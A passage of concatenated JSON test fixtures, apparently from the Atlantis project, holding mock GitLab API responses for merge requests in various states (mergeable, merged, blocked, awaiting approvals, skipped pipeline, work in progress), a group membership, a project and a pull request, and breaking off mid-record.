"can_be_merged", "detailed_merge_status": "need_rebase", "sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "merge_commit_sha": null, "squash_commit_sha": null, "discussion_locked": null, "should_remove_source_branch": null, "force_remove_source_branch": true, "reference": "!13", "references": { "short": "!13", "relative": "!13", "full": "lkysow/atlantis-example!13" }, "web_url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/13", "time_stats": { "time_estimate": 0, "total_time_spent": 0, "human_time_estimate": null, "human_total_time_spent": null }, "squash": true, "task_completion_status": { "count": 0, "completed_count": 0 }, "has_conflicts": false, "blocking_discussions_resolved": true, "approvals_before_merge": null, "subscribed": false, "changes_count": "1", "latest_build_started_at": "2019-01-15T18:27:29.375Z", "latest_build_finished_at": "2019-01-25T17:28:01.437Z", "first_deployed_to_production_at": null, "pipeline": { "id": 488598, "sha": "67cb91d3f6198189f433c045154a885784ba6977", "ref": "patch-1-merger", "status": "success", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598" }, "head_pipeline": { "id": 488598, "sha": "67cb91d3f6198189f433c045154a885784ba6977", "ref": "patch-1-merger", "status": "success", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598", "before_sha": "0000000000000000000000000000000000000000", "tag": false, "yaml_errors": null, "user": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", "web_url": "https://gitlab.com/lkysow" }, "started_at": "2019-01-15T18:27:29.375Z", "finished_at": "2019-01-25T17:28:01.437Z", "committed_at": null, "duration": 31, "coverage": null, "detailed_status": { "icon": "status_success", "text": "passed", "label": "passed", "group": "success", "tooltip": "passed", "has_details": true, "details_path": "/lkysow/atlantis-example/-/pipelines/488598", "illustration": null, "favicon": "/assets/ci_favicons/favicon_status_success-8451333011eee8ce9f2ab25dc487fe24a8758c694827a582f17f42b0a90446a2.png" } }, "diff_refs": { "base_sha": "67cb91d3f6198189f433c045154a885784ba6977", "head_sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "start_sha": "67cb91d3f6198189f433c045154a885784ba6977" }, "merge_error": null, "first_contribution": false, "user": { "can_merge": true } } ================================================ FILE: server/events/vcs/gitlab/testdata/group-membership-success.json ================================================ { "access_level": 50, "created_at": "2023-11-28T01:23:45.789Z", "created_by": { "id": 456, "username": "someone", "name": "Someone", "state": "active", "locked": false, "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/456/avatar.png", "web_url": "https://gitlab.com/someone" }, "expires_at": null, "id": 123, "username": "testuser", "name": "Test User", "state": "active", "locked": false, "avatar_url": "https://gitlab.com/uploads/-/system/user/avatar/123/avatar.png", "web_url": "https://gitlab.com/testuser", "membership_state": "active" } ================================================ FILE: server/events/vcs/gitlab/testdata/head-pipeline-not-available.json ================================================ { "id": 22461274, "iid": 13, "project_id": 4580910, "title": "Update main.tf", "description": "", "state": "opened", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "merged_by": null, "merged_at": null, "closed_by": null, "closed_at": null, "target_branch": "patch-1", "source_branch": "patch-1-merger", "user_notes_count": 0, "upvotes": 0, "downvotes": 0, "author": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", "web_url": "https://gitlab.com/lkysow" }, "assignee": null, "reviewers": [], "source_project_id": 4580910, "target_project_id": 4580910, "labels": [], "work_in_progress": false, "milestone": null, "merge_when_pipeline_succeeds": false, "merge_status": "can_be_merged", "detailed_merge_status": "mergeable", "sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "merge_commit_sha": null, "squash_commit_sha": null, "discussion_locked": null, "should_remove_source_branch": null, "force_remove_source_branch": true, "reference": "!13", "references": { "short": "!13", "relative": "!13", "full": "lkysow/atlantis-example!13" }, "web_url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/13", "time_stats": { "time_estimate": 0, "total_time_spent": 0, "human_time_estimate": null, "human_total_time_spent": null }, "squash": true, "task_completion_status": { "count": 0, "completed_count": 0 }, "has_conflicts": false, "blocking_discussions_resolved": true, "approvals_before_merge": null, "subscribed": false, "changes_count": "1", "latest_build_started_at": "2019-01-15T18:27:29.375Z", "latest_build_finished_at": "2019-01-25T17:28:01.437Z", "first_deployed_to_production_at": null, "pipeline": { "id": 488598, "sha": "67cb91d3f6198189f433c045154a885784ba6977", "ref": "patch-1-merger", "status": "success", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598" }, "head_pipeline": null, "diff_refs": { "base_sha": "67cb91d3f6198189f433c045154a885784ba6977", "head_sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "start_sha": "67cb91d3f6198189f433c045154a885784ba6977" }, "merge_error": null, "first_contribution": false, "user": { "can_merge": true } } ================================================ FILE: server/events/vcs/gitlab/testdata/merge-success-with-label.json ================================================ { "id": 22461274, "iid": 13, "project_id": 4580910, "title": "Update main.tf", "description": "", "state": "merged", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "merged_by": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", "web_url": "https://gitlab.com/lkysow" }, "merged_at": "2019-01-25T17:28:01.459Z", "closed_by": null, "closed_at": null, "target_branch": "patch-1", "source_branch": "patch-1-merger", "upvotes": 0, "downvotes": 0, "author": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", "web_url": "https://gitlab.com/lkysow" }, "assignee": null, "source_project_id": 4580910, "target_project_id": 4580910, "labels": [ "work in progress" ], "work_in_progress": false, "milestone": null, "merge_when_pipeline_succeeds": false, "merge_status": "can_be_merged", "detailed_merge_status": "mergeable", "sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "merge_commit_sha": "c9b336f1c71d3e64810b8cfa2abcfab232d6bff6", "user_notes_count": 0, "discussion_locked": null, "should_remove_source_branch": null, "force_remove_source_branch": false, "web_url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/13", "time_stats": { "time_estimate": 0, "total_time_spent": 0, "human_time_estimate": null, "human_total_time_spent": null }, "squash": false, "subscribed": true, "changes_count": "1", "latest_build_started_at": null, "latest_build_finished_at": null, "first_deployed_to_production_at": null, "pipeline": null, "diff_refs": { "base_sha": "67cb91d3f6198189f433c045154a885784ba6977", "head_sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "start_sha": "67cb91d3f6198189f433c045154a885784ba6977" }, "merge_error": null, "approvals_before_merge": null } ================================================ FILE: server/events/vcs/gitlab/testdata/merge-success.json ================================================ { "id": 22461274, "iid": 13, "project_id": 4580910, "title": "Update main.tf", "description": "", "state": "merged", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "merged_by": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", "web_url": "https://gitlab.com/lkysow" }, "merged_at": "2019-01-25T17:28:01.459Z", "closed_by": null, "closed_at": null, "target_branch": "patch-1", "source_branch": "patch-1-merger", "upvotes": 0, "downvotes": 0, "author": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", "web_url": "https://gitlab.com/lkysow" }, "assignee": null, "source_project_id": 4580910, "target_project_id": 4580910, "labels": [], "work_in_progress": false, "milestone": null, "merge_when_pipeline_succeeds": false, "merge_status": "can_be_merged", "detailed_merge_status": "mergeable", "sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "merge_commit_sha": "c9b336f1c71d3e64810b8cfa2abcfab232d6bff6", "user_notes_count": 0, "discussion_locked": null, "should_remove_source_branch": null, "force_remove_source_branch": false, "web_url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/13", "time_stats": { "time_estimate": 0, "total_time_spent": 0, "human_time_estimate": null, "human_total_time_spent": null }, "squash": false, "subscribed": true, "changes_count": "1", "latest_build_started_at": null, "latest_build_finished_at": null, "first_deployed_to_production_at": null, "pipeline": null, "diff_refs": { "base_sha": "67cb91d3f6198189f433c045154a885784ba6977", "head_sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "start_sha": "67cb91d3f6198189f433c045154a885784ba6977" }, "merge_error": null, "approvals_before_merge": null } ================================================ FILE: server/events/vcs/gitlab/testdata/pipeline-blocking-discussions-unresolved.json ================================================ { "id": 22461274, "iid": 13, "project_id": 4580910, "title": "Update main.tf", "description": "", "state": "opened", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "merged_by": null, "merged_at": null, "closed_by": null, "closed_at": null, "target_branch": "patch-1", "source_branch": "patch-1-merger", "user_notes_count": 0, "upvotes": 0, "downvotes": 0, "author": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", "web_url": "https://gitlab.com/lkysow" }, "assignee": null, "reviewers": [], "source_project_id": 4580910, "target_project_id": 4580910, "labels": [], "work_in_progress": false, "milestone": null, "merge_when_pipeline_succeeds": false, "merge_status": "can_be_merged", "detailed_merge_status": "mergeable", "sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "merge_commit_sha": null, "squash_commit_sha": null, "discussion_locked": null, "should_remove_source_branch": null, "force_remove_source_branch": true, "reference": "!13", "references": { "short": "!13", "relative": "!13", "full": "lkysow/atlantis-example!13" }, "web_url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/13", "time_stats": { "time_estimate": 0, "total_time_spent": 0, "human_time_estimate": null, "human_total_time_spent": null }, "squash": true, "task_completion_status": { "count": 0, "completed_count": 0 }, "has_conflicts": false, "blocking_discussions_resolved": false, "approvals_before_merge": null, "subscribed": false, "changes_count": "1", "latest_build_started_at": "2019-01-15T18:27:29.375Z", "latest_build_finished_at": "2019-01-25T17:28:01.437Z", "first_deployed_to_production_at": null, "pipeline": { "id": 488598, "sha": "67cb91d3f6198189f433c045154a885784ba6977", "ref": "patch-1-merger", "status": "success", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598" }, "head_pipeline": { "id": 488598, "sha": "67cb91d3f6198189f433c045154a885784ba6977", "ref": "patch-1-merger", "status": "success", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598", "before_sha": "0000000000000000000000000000000000000000", "tag": false, "yaml_errors": null, "user": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", "web_url": "https://gitlab.com/lkysow" }, "started_at": "2019-01-15T18:27:29.375Z", "finished_at": "2019-01-25T17:28:01.437Z", "committed_at": null, "duration": 31, "coverage": null, "detailed_status": { "icon": "status_success", "text": "passed", "label": "passed", "group": "success", "tooltip": "passed", "has_details": true, "details_path": "/lkysow/atlantis-example/-/pipelines/488598", "illustration": null, "favicon": "/assets/ci_favicons/favicon_status_success-8451333011eee8ce9f2ab25dc487fe24a8758c694827a582f17f42b0a90446a2.png" } }, "diff_refs": { "base_sha": "67cb91d3f6198189f433c045154a885784ba6977", "head_sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "start_sha": "67cb91d3f6198189f433c045154a885784ba6977" }, "merge_error": null, "first_contribution": false, "user": { "can_merge": true } } ================================================ FILE: server/events/vcs/gitlab/testdata/pipeline-remaining-approvals.json ================================================ { "id": 22461274, "iid": 13, "project_id": 4580910, "title": "Update main.tf", "description": "", "state": "opened", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "merged_by": null, "merged_at": null, "closed_by": null, "closed_at": null, "target_branch": "patch-1", "source_branch": "patch-1-merger", "user_notes_count": 0, "upvotes": 0, "downvotes": 0, "author": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", "web_url": "https://gitlab.com/lkysow" }, "assignee": null, "reviewers": [], "source_project_id": 4580910, "target_project_id": 4580910, "labels": [], "work_in_progress": false, "milestone": null, "merge_when_pipeline_succeeds": false, "merge_status": "can_be_merged", "detailed_merge_status": "mergeable", "sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "merge_commit_sha": null, "squash_commit_sha": null, "discussion_locked": null, "should_remove_source_branch": null, "force_remove_source_branch": true, "reference": "!13", "references": { "short": "!13", "relative": "!13", "full": "lkysow/atlantis-example!13" }, "web_url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/13", "time_stats": { "time_estimate": 0, "total_time_spent": 0, "human_time_estimate": null, "human_total_time_spent": null }, "squash": true, "task_completion_status": { "count": 0, "completed_count": 0 }, "has_conflicts": false, "blocking_discussions_resolved": true, "approvals_before_merge": 2, "subscribed": false, "changes_count": "1", "latest_build_started_at": "2019-01-15T18:27:29.375Z", "latest_build_finished_at": "2019-01-25T17:28:01.437Z", "first_deployed_to_production_at": null, "pipeline": { "id": 488598, "sha": "67cb91d3f6198189f433c045154a885784ba6977", "ref": "patch-1-merger", "status": "success", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598" }, "head_pipeline": { "id": 488598, "sha": "67cb91d3f6198189f433c045154a885784ba6977", "ref": "patch-1-merger", "status": "success", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598", "before_sha": "0000000000000000000000000000000000000000", "tag": false, "yaml_errors": null, "user": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", "web_url": "https://gitlab.com/lkysow" }, "started_at": "2019-01-15T18:27:29.375Z", "finished_at": "2019-01-25T17:28:01.437Z", "committed_at": null, "duration": 31, "coverage": null, "detailed_status": { "icon": "status_success", "text": "passed", "label": "passed", "group": "success", "tooltip": "passed", "has_details": true, "details_path": "/lkysow/atlantis-example/-/pipelines/488598", "illustration": null, "favicon": "/assets/ci_favicons/favicon_status_success-8451333011eee8ce9f2ab25dc487fe24a8758c694827a582f17f42b0a90446a2.png" } }, "diff_refs": { "base_sha": "67cb91d3f6198189f433c045154a885784ba6977", "head_sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "start_sha": "67cb91d3f6198189f433c045154a885784ba6977" }, "merge_error": null, "first_contribution": false, "user": { "can_merge": true } } ================================================ FILE: server/events/vcs/gitlab/testdata/pipeline-success.json ================================================ { "id": 22461274, "iid": 13, "project_id": 4580910, "title": "Update main.tf", "description": "", "state": "opened", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "merged_by": null, "merged_at": null, "closed_by": null, "closed_at": null, "target_branch": "patch-1", "source_branch": "patch-1-merger", "user_notes_count": 0, "upvotes": 0, "downvotes": 0, "author": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", "web_url": "https://gitlab.com/lkysow" }, "assignee": null, "reviewers": [], "source_project_id": 4580910, "target_project_id": 4580910, "labels": [], "work_in_progress": false, "milestone": null, "merge_when_pipeline_succeeds": false, "merge_status": "can_be_merged", "detailed_merge_status": "mergeable", "sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "merge_commit_sha": null, "squash_commit_sha": null, "discussion_locked": null, "should_remove_source_branch": null, "force_remove_source_branch": true, "reference": "!13", "references": { "short": "!13", "relative": "!13", "full": "lkysow/atlantis-example!13" }, "web_url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/13", "time_stats": { "time_estimate": 0, "total_time_spent": 0, "human_time_estimate": null, "human_total_time_spent": null }, "squash": true, "task_completion_status": { "count": 0, "completed_count": 0 }, "has_conflicts": false, "blocking_discussions_resolved": true, "approvals_before_merge": null, "subscribed": false, "changes_count": "1", "latest_build_started_at": "2019-01-15T18:27:29.375Z", "latest_build_finished_at": "2019-01-25T17:28:01.437Z", "first_deployed_to_production_at": null, "pipeline": { "id": 488598, "sha": "67cb91d3f6198189f433c045154a885784ba6977", "ref": "patch-1-merger", "status": "success", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598" }, "head_pipeline": { "id": 488598, "sha": "67cb91d3f6198189f433c045154a885784ba6977", "ref": "patch-1-merger", "status": "success", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598", "before_sha": "0000000000000000000000000000000000000000", "tag": false, "yaml_errors": null, "user": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", "web_url": "https://gitlab.com/lkysow" }, "started_at": "2019-01-15T18:27:29.375Z", "finished_at": "2019-01-25T17:28:01.437Z", "committed_at": null, "duration": 31, "coverage": null, "detailed_status": { "icon": "status_success", "text": "passed", "label": "passed", "group": "success", "tooltip": "passed", "has_details": true, "details_path": "/lkysow/atlantis-example/-/pipelines/488598", "illustration": null, "favicon": "/assets/ci_favicons/favicon_status_success-8451333011eee8ce9f2ab25dc487fe24a8758c694827a582f17f42b0a90446a2.png" } }, "diff_refs": { "base_sha": "67cb91d3f6198189f433c045154a885784ba6977", "head_sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "start_sha": "67cb91d3f6198189f433c045154a885784ba6977" }, "merge_error": null, "first_contribution": false, "user": { "can_merge": true } } ================================================ FILE: server/events/vcs/gitlab/testdata/pipeline-with-pipeline-skipped.json ================================================ { "id": 22461274, "iid": 13, "project_id": 4580910, "title": "Update main.tf", "description": "", "state": "opened", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "merged_by": null, "merged_at": null, "closed_by": null, "closed_at": null, "target_branch": "patch-1", "source_branch": "patch-1-merger", "user_notes_count": 0, "upvotes": 0, "downvotes": 0, "author": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", "web_url": "https://gitlab.com/lkysow" }, "assignee": null, "reviewers": [], "source_project_id": 4580910, "target_project_id": 4580910, "labels": [], "work_in_progress": false, "milestone": null, "merge_when_pipeline_succeeds": false, "merge_status": "can_be_merged", "detailed_merge_status": "mergeable", "sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "merge_commit_sha": null, "squash_commit_sha": null, "discussion_locked": null, "should_remove_source_branch": null, "force_remove_source_branch": true, "reference": "!13", "references": { "short": "!13", "relative": "!13", "full": "lkysow/atlantis-example!13" }, "web_url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/13", "time_stats": { "time_estimate": 0, "total_time_spent": 0, "human_time_estimate": null, "human_total_time_spent": null }, "squash": true, "task_completion_status": { "count": 0, "completed_count": 0 }, "has_conflicts": false, "blocking_discussions_resolved": true, "approvals_before_merge": null, "subscribed": false, "changes_count": "1", "latest_build_started_at": "2019-01-15T18:27:29.375Z", "latest_build_finished_at": "2019-01-25T17:28:01.437Z", "first_deployed_to_production_at": null, "pipeline": { "id": 488598, "sha": "67cb91d3f6198189f433c045154a885784ba6977", "ref": "patch-1-merger", "status": "success", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598" }, "head_pipeline": { "id": 488598, "sha": "67cb91d3f6198189f433c045154a885784ba6977", "ref": "patch-1-merger", "status": "skipped", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598", "before_sha": "0000000000000000000000000000000000000000", "tag": false, "yaml_errors": null, "user": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", "web_url": "https://gitlab.com/lkysow" }, "started_at": "2019-01-15T18:27:29.375Z", "finished_at": "2019-01-25T17:28:01.437Z", "committed_at": null, "duration": 31, "coverage": null, "detailed_status": { "icon": "status_success", "text": "passed", "label": "passed", "group": "success", "tooltip": "passed", "has_details": true, "details_path": "/lkysow/atlantis-example/-/pipelines/488598", "illustration": null, "favicon": "/assets/ci_favicons/favicon_status_success-8451333011eee8ce9f2ab25dc487fe24a8758c694827a582f17f42b0a90446a2.png" } }, "diff_refs": { "base_sha": "67cb91d3f6198189f433c045154a885784ba6977", "head_sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "start_sha": "67cb91d3f6198189f433c045154a885784ba6977" }, "merge_error": null, "first_contribution": false, "user": { "can_merge": true } } ================================================ FILE: server/events/vcs/gitlab/testdata/pipeline-work-in-progress.json ================================================ { "id": 22461274, "iid": 13, "project_id": 4580910, "title": "Update main.tf", "description": "", "state": "opened", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "merged_by": null, "merged_at": null, "closed_by": null, "closed_at": null, "target_branch": "patch-1", "source_branch": "patch-1-merger", "user_notes_count": 0, "upvotes": 0, "downvotes": 0, "author": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", "web_url": "https://gitlab.com/lkysow" }, "assignee": null, "reviewers": [], "source_project_id": 4580910, "target_project_id": 4580910, "labels": [], "work_in_progress": true, "milestone": null, "merge_when_pipeline_succeeds": false, "merge_status": "can_be_merged", "detailed_merge_status": "mergeable", "sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "merge_commit_sha": null, "squash_commit_sha": null, "discussion_locked": null, "should_remove_source_branch": null, "force_remove_source_branch": true, "reference": "!13", "references": { "short": "!13", "relative": "!13", "full": "lkysow/atlantis-example!13" }, "web_url": "https://gitlab.com/lkysow/atlantis-example/merge_requests/13", "time_stats": { "time_estimate": 0, "total_time_spent": 0, "human_time_estimate": null, "human_total_time_spent": null }, "squash": true, "task_completion_status": { "count": 0, "completed_count": 0 }, "has_conflicts": false, "blocking_discussions_resolved": true, "approvals_before_merge": null, "subscribed": false, "changes_count": "1", "latest_build_started_at": "2019-01-15T18:27:29.375Z", "latest_build_finished_at": "2019-01-25T17:28:01.437Z", "first_deployed_to_production_at": null, "pipeline": { "id": 488598, "sha": "67cb91d3f6198189f433c045154a885784ba6977", "ref": "patch-1-merger", "status": "success", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598" }, "head_pipeline": { "id": 488598, "sha": "67cb91d3f6198189f433c045154a885784ba6977", "ref": "patch-1-merger", "status": "success", "created_at": "2019-01-15T18:27:29.375Z", "updated_at": "2019-01-25T17:28:01.437Z", "web_url": "https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598", "before_sha": "0000000000000000000000000000000000000000", "tag": false, "yaml_errors": null, "user": { "id": 1755902, "name": "Luke Kysow", "username": "lkysow", "state": "active", "avatar_url": "https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon", "web_url": "https://gitlab.com/lkysow" }, "started_at": "2019-01-15T18:27:29.375Z", "finished_at": "2019-01-25T17:28:01.437Z", "committed_at": null, "duration": 31, "coverage": null, "detailed_status": { "icon": "status_success", "text": "passed", "label": "passed", "group": "success", "tooltip": "passed", "has_details": true, "details_path": "/lkysow/atlantis-example/-/pipelines/488598", "illustration": null, "favicon": "/assets/ci_favicons/favicon_status_success-8451333011eee8ce9f2ab25dc487fe24a8758c694827a582f17f42b0a90446a2.png" } }, "diff_refs": { "base_sha": "67cb91d3f6198189f433c045154a885784ba6977", "head_sha": "cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0", "start_sha": "67cb91d3f6198189f433c045154a885784ba6977" }, "merge_error": null, "first_contribution": false, "user": { "can_merge": true } } ================================================ FILE: server/events/vcs/gitlab/testdata/project-success.json ================================================ { "id": 4580910, "description": "", "name": "atlantis-example", "name_with_namespace": "lkysow / atlantis-example", "path": "atlantis-example", "path_with_namespace": "lkysow/atlantis-example", "created_at": "2018-04-30T13:44:28.367Z", "default_branch": "patch-1", "tag_list": [], "ssh_url_to_repo": "git@gitlab.com:lkysow/atlantis-example.git", "http_url_to_repo": "https://gitlab.com/lkysow/atlantis-example.git", "web_url": "https://gitlab.com/lkysow/atlantis-example", "readme_url": "https://gitlab.com/lkysow/atlantis-example/-/blob/main/README.md", "avatar_url": "https://gitlab.com/uploads/-/system/project/avatar/4580910/avatar.png", "forks_count": 0, "star_count": 7, "last_activity_at": "2021-06-29T21:10:43.968Z", "namespace": { "id": 1, "name": "lkysow", "path": "lkysow", "kind": "group", "full_path": "lkysow", "parent_id": 1, "avatar_url": "/uploads/-/system/group/avatar/1651/platform.png", "web_url": "https://gitlab.com/groups/lkysow" }, "_links": { "self": "https://gitlab.com/api/v4/projects/4580910", "issues": "https://gitlab.com/api/v4/projects/4580910/issues", "merge_requests": "https://gitlab.com/api/v4/projects/4580910/merge_requests", "repo_branches": "https://gitlab.com/api/v4/projects/4580910/repository/branches", "labels": "https://gitlab.com/api/v4/projects/4580910/labels", "events": "https://gitlab.com/api/v4/projects/4580910/events", "members": "https://gitlab.com/api/v4/projects/4580910/members" }, "packages_enabled": false, "empty_repo": false, "archived": false, "visibility": "private", "resolve_outdated_diff_discussions": false, "container_registry_enabled": false, "container_expiration_policy": { "cadence": "1d", "enabled": false, "keep_n": 10, "older_than": "90d", "name_regex": ".*", "name_regex_keep": null, "next_run_at": "2021-05-01T13:44:28.397Z" }, "issues_enabled": true, "merge_requests_enabled": true, "wiki_enabled": false, "jobs_enabled": true, "snippets_enabled": true, "service_desk_enabled": false, "service_desk_address": null, "can_create_merge_request_in": true, "issues_access_level": "private", "repository_access_level": "enabled", "merge_requests_access_level": "enabled", "forking_access_level": "enabled", "wiki_access_level": "disabled", "builds_access_level": "enabled", "snippets_access_level": "enabled", "pages_access_level": "private", "operations_access_level": "disabled", "analytics_access_level": "enabled", "emails_disabled": null, "shared_runners_enabled": true, "lfs_enabled": false, "creator_id": 818, "import_status": "none", "import_error": null, "open_issues_count": 0, "runners_token": "1234456", "ci_default_git_depth": 50, "ci_forward_deployment_enabled": true, "public_jobs": true, "build_git_strategy": "fetch", "build_timeout": 3600, "auto_cancel_pending_pipelines": "enabled", "build_coverage_regex": null, "ci_config_path": "", "shared_with_groups": [], "only_allow_merge_if_pipeline_succeeds": true, "allow_merge_on_skipped_pipeline": false, "restrict_user_defined_variables": false, "request_access_enabled": true, "only_allow_merge_if_all_discussions_are_resolved": true, "remove_source_branch_after_merge": true, "printing_merge_request_link_enabled": true, "merge_method": "merge", "suggestion_commit_message": "", "auto_devops_enabled": false, "auto_devops_deploy_strategy": "continuous", "autoclose_referenced_issues": true, "repository_storage": "default", "approvals_before_merge": 0, "mirror": false, "external_authorization_classification_label": null, "marked_for_deletion_at": null, "marked_for_deletion_on": null, "requirements_enabled": false, "compliance_frameworks": [], "permissions": { "project_access": null, "group_access": { "access_level": 50, "notification_level": 3 } } } ================================================ FILE: server/events/vcs/gitlab/testdata/pull-request.json ================================================ { "id": 421832993, "iid": 8, "project_id": 75092240, "title": "Bump input 3", "description": "", "state": "closed", "created_at": "2025-10-08T01:10:00.622Z", "updated_at": "2025-10-08T02:56:38.499Z", "merged_by": null, "merge_user": null, "merged_at": null, "closed_by": { "id": 22831530, "username": "lukemassa", "public_email": "", "name": "Luke Massa", "state": "active", "locked": false, "avatar_url": "https://secure.gravatar.com/avatar/d2407ada813207aeebb75cf61e87240a74904be7fd705a4f22d34a3d3387b106?s=80&d=identicon", "web_url": "https://gitlab.com/lukemassa" }, "closed_at": "2025-10-08T02:56:38.550Z", "target_branch": "main", "source_branch": "bump_input_3_1759885788", "user_notes_count": 0, "upvotes": 0, "downvotes": 0, "author": { "id": 22831530, "username": "lukemassa", "public_email": "", "name": "Luke Massa", "state": "active", "locked": false, "avatar_url": 